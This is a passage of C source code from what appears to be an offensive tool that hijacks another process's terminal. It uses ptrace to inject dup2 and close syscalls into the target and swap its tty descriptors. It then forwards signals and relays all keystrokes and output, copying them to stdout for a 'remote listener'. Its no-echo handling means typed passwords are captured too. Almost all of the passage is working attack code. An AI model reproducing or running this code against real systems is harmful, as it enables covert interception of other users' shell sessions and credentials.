__NR_dup2, tmp_fd, target_fds[i], 0, 0, 0, 0); 504 | if(errno){ 505 | error(0, errno, "ptrace_do_syscall(%lx, %d, %d, %d, %d, %d, %d, %d)", \ 506 | (unsigned long) target, __NR_dup2, tmp_fd, target_fds[i], 0, 0, 0, 0); 507 | ptrace_error = 1; 508 | goto CLEAN_UP; 509 | }else if(retval < 0){ 510 | error(0, -retval, "remote dup2(%d, %d)", tmp_fd, target_fds[i]); 511 | ptrace_error = 1; 512 | goto CLEAN_UP; 513 | } 514 | } 515 | } 516 | 517 | if(!tmp_flag){ 518 | retval = (int) ptrace_do_syscall(target, __NR_close, tmp_fd, 0, 0, 0, 0, 0); 519 | if(errno){ 520 | error(0, errno, "ptrace_do_syscall(%lx, %d, %d, %d, %d, %d, %d, %d)", \ 521 | (unsigned long) target, __NR_close, tmp_fd, 0, 0, 0, 0, 0); 522 | ptrace_error = 1; 523 | goto CLEAN_UP; 524 | }else if(retval < 0){ 525 | error(0, -retval, "remote close(%d)", tmp_fd); 526 | ptrace_error = 1; 527 | goto CLEAN_UP; 528 | } 529 | } 530 | 531 | 532 | CLEAN_UP: 533 | ptrace_do_cleanup(target); 534 | 535 | if(ptrace_error){ 536 | error(-1, 0, "Fatal error from ptrace_do. Quitting."); 537 | } 538 | 539 | 540 | /************************************************** 541 | * Set the original tty to raw mode. 542 | **************************************************/ 543 | memcpy(&new_termios_attrs, &saved_termios_attrs, sizeof(struct termios)); 544 | 545 | new_termios_attrs.c_lflag &= ~(ECHO|ICANON|IEXTEN|ISIG); 546 | new_termios_attrs.c_iflag &= ~(BRKINT|ICRNL|INPCK|ISTRIP|IXON); 547 | new_termios_attrs.c_cflag &= ~(CSIZE|PARENB); 548 | new_termios_attrs.c_cflag |= CS8; 549 | new_termios_attrs.c_oflag &= ~(OPOST); 550 | 551 | new_termios_attrs.c_cc[VMIN] = 1; 552 | new_termios_attrs.c_cc[VTIME] = 0; 553 | 554 | if((retval = tcsetattr(original_tty_fd, TCSANOW, &new_termios_attrs)) == -1){ 555 | error(-1, errno, "tcsetattr(%d, TCSANOW, %lx)", \ 556 | original_tty_fd, (unsigned long) &new_termios_attrs); 557 | } 558 | 559 | 560 | /************************************************** 561 | * Set the signals for appropriate mitm handling. * 562 | **************************************************/ 563 | 564 | memset(&act, 0, sizeof(act)); 565 | memset(&oldact, 0, sizeof(oldact)); 566 | act.sa_handler = signal_handler; 567 | 568 | if((retval = sigaction(SIGHUP, &act, &oldact)) == -1){ 569 | fprintf(stderr, "%s: sigaction(%d, %lx, %lx): %s\n", \ 570 | program_invocation_short_name, \ 571 | SIGHUP, (unsigned long) &act, (unsigned long) &oldact, \ 572 | strerror(errno)); 573 | retcode = -errno; 574 | goto RESET_TERM; 575 | } 576 | if((retval = sigaction(SIGINT, &act, NULL)) == -1){ 577 | fprintf(stderr, "%s: sigaction(%d, %lx, %p): %s\n", \ 578 | program_invocation_short_name, \ 579 | SIGINT, (unsigned long) &act, NULL, \ 580 | strerror(errno)); 581 | retcode = -errno; 582 | goto RESET_TERM; 583 | } 584 | if((retval = sigaction(SIGQUIT, &act, NULL)) == -1){ 585 | fprintf(stderr, "%s: sigaction(%d, %lx, %p): %s\n", \ 586 | program_invocation_short_name, \ 587 | SIGQUIT, (unsigned long) &act, NULL, \ 588 | strerror(errno)); 589 | retcode = -errno; 590 | goto RESET_TERM; 591 | } 592 | if((retval = sigaction(SIGTSTP, &act, NULL)) == -1){ 593 | fprintf(stderr, "%s: sigaction(%d, %lx, %p): %s\n", \ 594 | program_invocation_short_name, \ 595 | SIGTSTP, (unsigned long) &act, NULL, \ 596 | strerror(errno)); 597 | retcode = -errno; 598 | goto RESET_TERM; 599 | } 600 | if((retval = sigaction(SIGWINCH, &act, NULL)) == -1){ 601 | fprintf(stderr, "%s: sigaction(%d, %lx, %p: %s)", \ 602 | program_invocation_short_name, \ 603 | SIGWINCH, (unsigned long) &act, NULL, \ 604 | strerror(errno)); 605 | retcode = -errno; 606 | goto RESET_TERM; 607 | } 608 | 609 | /* 610 | * The current TIOCGWINSZ for the new terminal will be incorrect at this point. 611 | * Lets force an initial SIGWINCH to ensure it gets set appropriately. 612 | */ 613 | if((retval = ioctl(original_tty_fd, TIOCGWINSZ, &argp)) == -1){ 614 | fprintf(stderr, "%s: ioctl(%d, %d, %lx): %s\n", \ 615 | program_invocation_short_name, \ 616 | original_tty_fd, TIOCGWINSZ, (unsigned long) &argp, \ 617 | strerror(errno)); 618 | retcode = -errno; 619 | goto RESET_TERM; 620 | } 621 | 622 | if((retval = ioctl(new_tty_fd, TIOCSWINSZ, &argp)) == -1){ 623 | fprintf(stderr, "%s: ioctl(%d, %d, %lx): %s\n", \ 624 | program_invocation_short_name, \ 625 | original_tty_fd, TIOCGWINSZ, (unsigned long) &argp, \ 626 | strerror(errno)); 627 | retcode = -errno; 628 | goto RESET_TERM; 629 | } 630 | 631 | if((retval = kill(-target_pid, SIGWINCH)) == -1){ 632 | fprintf(stderr, "%s: kill(%d, %d): %s\n", \ 633 | program_invocation_short_name, \ 634 | -target_pid, SIGWINCH, \ 635 | strerror(errno)); 636 | retcode = -errno; 637 | goto RESET_TERM; 638 | } 639 | 640 | 641 | /****************************** 642 | * Mitm the terminal traffic. * 643 | ******************************/ 644 | 645 | fd_max = (new_tty_fd > original_tty_fd) ? new_tty_fd : original_tty_fd; 646 | char_read = '\r'; 647 | 648 | while(1){ 649 | FD_ZERO(&fd_select); 650 | FD_SET(new_tty_fd, &fd_select); 651 | FD_SET(original_tty_fd, &fd_select); 652 | 653 | if(((retval = select(fd_max + 1, &fd_select, NULL, NULL, NULL)) == -1) && !sig_found){ 654 | fprintf(stderr, "%s: select(%d, %lx, %p, %p, %p): %s\n", \ 655 | program_invocation_short_name, \ 656 | fd_max + 1, (unsigned long) &fd_select, NULL, NULL, NULL, \ 657 | strerror(errno)); 658 | retcode = -errno; 659 | goto RESET_TERM; 660 | } 661 | 662 | if(sig_found){ 663 | 664 | /* Minimize the risk of more signals being delivered while we are already handling signals. */ 665 | current_sig = sig_found; 666 | sig_found = 0; 667 | 668 | switch(current_sig){ 669 | 670 | /* 671 | * Signals we want to handle: 672 | * SIGHUP -> Send SIGHUP to the target session, restore our SIGHUP to default, then resend to ourselves. 673 | * SIGINT -> Send SIGINT to the current target foreground job. 674 | * SIGQUIT -> Send SIGQUIT to the current target foreground job. 675 | * SIGTSTP -> Send SIGTSTP to the current target foreground job. 676 | * SIGWINCH -> Grab TIOCGWINSZ from old tty. Set TIOCSWINSZ for new tty. Send SIGWINCH to the current target session. 677 | */ 678 | case SIGHUP: 679 | 680 | if((retval = kill(-target_pid, current_sig)) == -1){ 681 | fprintf(stderr, "%s: kill(%d, %d): %s\n", \ 682 | program_invocation_short_name, \ 683 | -target_pid, current_sig, \ 684 | strerror(errno)); 685 | retcode = -errno; 686 | goto RESET_TERM; 687 | } 688 | 689 | if((retval = sigaction(current_sig, &oldact, NULL)) == -1){ 690 | fprintf(stderr, "%s: sigaction(%d, %lx, %p): %s\n", \ 691 | program_invocation_short_name, \ 692 | current_sig, (unsigned long) &oldact, NULL, \ 693 | strerror(errno)); 694 | retcode = -errno; 695 | goto RESET_TERM; 696 | } 697 | 698 | if((retval = raise(current_sig)) != 0){ 699 | fprintf(stderr, "%s: raise(%d): %s\n", \ 700 | program_invocation_short_name, \ 701 | current_sig, \ 702 | strerror(errno)); 703 | retcode = -errno; 704 | goto RESET_TERM; 705 | } 706 | break; 707 | 708 | case SIGINT: 709 | case SIGQUIT: 710 | case SIGTSTP: 711 | 712 | if((sig_pid = tcgetpgrp(new_tty_fd)) == -1){ 713 | fprintf(stderr, "%s: tcgetpgrp(%d): %s\n", \ 714 | program_invocation_short_name, \ 715 | new_tty_fd, \ 716 | strerror(errno)); 717 | retcode = -errno; 718 | goto RESET_TERM; 719 | } 720 | 721 | if((retval = kill(-sig_pid, current_sig)) == -1){ 722 | fprintf(stderr, "%s: kill(%d, %d): %s", \ 723 | program_invocation_short_name, \ 724 | sig_pid, current_sig, \ 725 | strerror(errno)); 726 | retcode = -errno; 727 | goto RESET_TERM; 728 | } 729 | break; 730 | 731 | case SIGWINCH: 732 | if((retval = ioctl(original_tty_fd, TIOCGWINSZ, &argp)) == -1){ 733 | fprintf(stderr, "%s: ioctl(%d, %d, %lx): %s\n", \ 734 | program_invocation_short_name, \ 735 | original_tty_fd, TIOCGWINSZ, (unsigned long) &argp, \ 736 | strerror(errno)); 737 | retcode = -errno; 738 | goto RESET_TERM; 739 | } 740 | 741 | if((retval = ioctl(new_tty_fd, TIOCSWINSZ, &argp)) == -1){ 742 | fprintf(stderr, "%s: ioctl(%d, %d, %lx): %s\n", \ 743 | program_invocation_short_name, \ 744 | original_tty_fd, TIOCSWINSZ, (unsigned long) &argp, \ 745 | strerror(errno)); 746 | retcode = -errno; 747 | goto RESET_TERM; 748 | } 749 | 750 | if((retval = kill(-target_pid, current_sig)) == -1){ 751 | fprintf(stderr, "%s: kill(%d, %d): %s", \ 752 | program_invocation_short_name, \ 753 | -target_pid, current_sig, \ 754 | strerror(errno)); 755 | retcode = -errno; 756 | goto RESET_TERM; 757 | } 758 | break; 759 | 760 | default: 761 | fprintf(stderr, "%s: Undefined signal found: %d", \ 762 | program_invocation_short_name, \ 763 | current_sig); 764 | retcode = -errno; 765 | goto RESET_TERM; 766 | } 767 | 768 | current_sig = 0; 769 | 770 | /* 771 | * From here on out, we pass chars back and forth, while copying them off 772 | * to the remote listener. The "char_read" hack is a cheap way to watch for 773 | * a "no echo" situation. (Bash keeps its own state for the tty and lies to 774 | * the user about echo on vs echo off. On the back end it's always raw mode. 775 | * I suspect this is a natural result of using the GNU readline library.) 776 | */ 777 | }else if(FD_ISSET(original_tty_fd, &fd_select)){ 778 | 779 | memset(scratch, 0, sizeof(scratch)); 780 | if((retval = read(original_tty_fd, scratch, sizeof(scratch))) == -1){ 781 | fprintf(stderr, "%s: read(%d, %lx, %d): %s\n", \ 782 | program_invocation_short_name, \ 783 | original_tty_fd, (unsigned long) scratch, (int) sizeof(scratch), \ 784 | strerror(errno)); 785 | retcode = -errno; 786 | goto RESET_TERM; 787 | } 788 | bytes_read = (retval == -1) ? 0 : retval; 789 | 790 | if((retval = write(new_tty_fd, scratch, bytes_read)) == -1){ 791 | fprintf(stderr, "%s: write(%d, %lx, %d): %s\n", \ 792 | program_invocation_short_name, \ 793 | new_tty_fd, (unsigned long) scratch, bytes_read, \ 794 | strerror(errno)); 795 | retcode = -errno; 796 | goto RESET_TERM; 797 | } 798 | 799 | if(!char_read){ 800 | if(bytes_read == 1){ 801 | char_read = scratch[0]; 802 | } 803 | }else{ 804 | if(bytes_read == 1){ 805 | if(write(STDOUT_FILENO, &char_read, 1) == -1){ 806 | fprintf(stderr, "%s: write(%d, %lx, %d): %s\n", \ 807 | program_invocation_short_name, \ 808 | STDOUT_FILENO, (unsigned long) &char_read, 1, \ 809 | strerror(errno)); 810 | retcode = -errno; 811 | goto RESET_TERM; 812 | } 813 | char_read = scratch[0]; 814 | } 815 | } 816 | 817 | }else if(FD_ISSET(new_tty_fd, &fd_select)){ 818 | 819 | char_read = '\0'; 820 | memset(scratch, 0, sizeof(scratch)); 821 | errno = 0; 822 | if(((retval = read(new_tty_fd, scratch, sizeof(scratch))) == -1) && (errno != EIO)){ 823 | fprintf(stderr, "%s: read(%d, %lx, %d): %s\n", \ 824 | program_invocation_short_name, \ 825 | new_tty_fd, (unsigned long) scratch, (int) sizeof(scratch), \ 826 | strerror(errno)); 827 | retcode = -errno; 828 | goto RESET_TERM; 829 | }else if(!retval || errno == EIO){ 830 | retcode = 0; 831 | goto RESET_TERM; 832 | } 833 | bytes_read = (retval == -1) ? 0 : retval; 834 | 835 | if((retval = write(original_tty_fd, scratch, bytes_read)) == -1){ 836 | fprintf(stderr, "%s: write(%d, %lx, %d): %s\n", \ 837 | program_invocation_short_name, \ 838 | original_tty_fd, (unsigned long) &char_read, bytes_read, \ 839 | strerror(errno)); 840 | retcode = -errno; 841 | goto RESET_TERM; 842 | } 843 | 844 | if(write(STDOUT_FILENO, scratch, bytes_read) == -1){ 845 | fprintf(stderr, "%s: write(%d, %lx, %d): %s\n", \ 846 | program_invocation_short_name, \ 847 | STDOUT_FILENO, (unsigned long) &char_read, 1, \ 848 | strerror(errno)); 849 | retcode = -errno; 850 | goto RESET_TERM; 851 | } 852 | } 853 | } 854 | 855 | RESET_TERM: 856 | tcsetattr(original_tty_fd, TCSANOW, &saved_termios_attrs); 857 | 858 | return(retcode); 859 | } 860 | --------------------------------------------------------------------------------